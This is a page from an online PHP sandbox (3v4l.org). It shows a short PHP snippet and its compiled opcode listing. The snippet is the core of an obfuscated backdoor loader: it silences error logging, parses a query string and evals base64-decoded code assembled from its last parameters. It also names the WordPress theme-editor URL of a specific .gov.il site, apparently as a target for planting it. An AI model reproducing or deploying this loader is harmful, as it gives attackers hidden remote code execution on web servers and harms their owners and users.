3v4l.org

run code in 300+ PHP versions simultaneously
<?php ini_set('error_log', '/dev/null'); parse_str("http://hadshon.edu.gov.il/wp-admin/theme-editor.php?file=404.php&theme=wp-sparkler-child", $a); echo (reset($a)); echo count($a); # if (reset($a) == '12' && count($a) == 9) { echo '<3456>'; eval(base64_decode(str_replace(" ", "+", join(array_slice($a, count($a) - 3))))); echo '</3456>'; # } ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/OePqs
function name:  (null)
number of ops:  35
compiled vars:  !0 = $a
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   INIT_FCALL                                               'ini_set'
          1        SEND_VAL                                                 'error_log'
          2        SEND_VAL                                                 '%2Fdev%2Fnull'
          3        DO_ICALL                                                 
    2     4        INIT_FCALL                                               'parse_str'
          5        SEND_VAL                                                 'http%3A%2F%2Fhadshon.edu.gov.il%2Fwp-admin%2Ftheme-editor.php%3Ffile%3D404.php%26theme%3Dwp-sparkler-child'
          6        SEND_REF                                                 !0
          7        DO_ICALL                                                 
    3     8        INIT_FCALL                                               'reset'
          9        SEND_REF                                                 !0
         10        DO_ICALL                                         $3      
         11        ECHO                                                     $3
    4    12        COUNT                                            ~4      !0
         13        ECHO                                                     ~4
    6    14        ECHO                                                     '%3C3456%3E'
    7    15        INIT_FCALL                                               'base64_decode'
         16        INIT_FCALL                                               'str_replace'
         17        SEND_VAL                                                 '+'
         18        SEND_VAL                                                 '%2B'
         19        INIT_FCALL                                               'join'
         20        INIT_FCALL                                               'array_slice'
         21        SEND_VAR                                                 !0
         22        COUNT                                            ~5      !0
         23        SUB                                              ~6      ~5, 3
         24        SEND_VAL                                                 ~6
         25        DO_ICALL                                         $7      
         26        SEND_VAR                                                 $7
         27        DO_ICALL                                         $8      
         28        SEND_VAR                                                 $8
         29        DO_ICALL                                         $9      
         30        SEND_VAR                                                 $9
         31        DO_ICALL                                         $10     
         32        INCLUDE_OR_EVAL                                          $10, EVAL
    8    33        ECHO                                                     '%3C%2F3456%3E'
   10    34      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
181.22 ms | 1396 KiB | 27 Q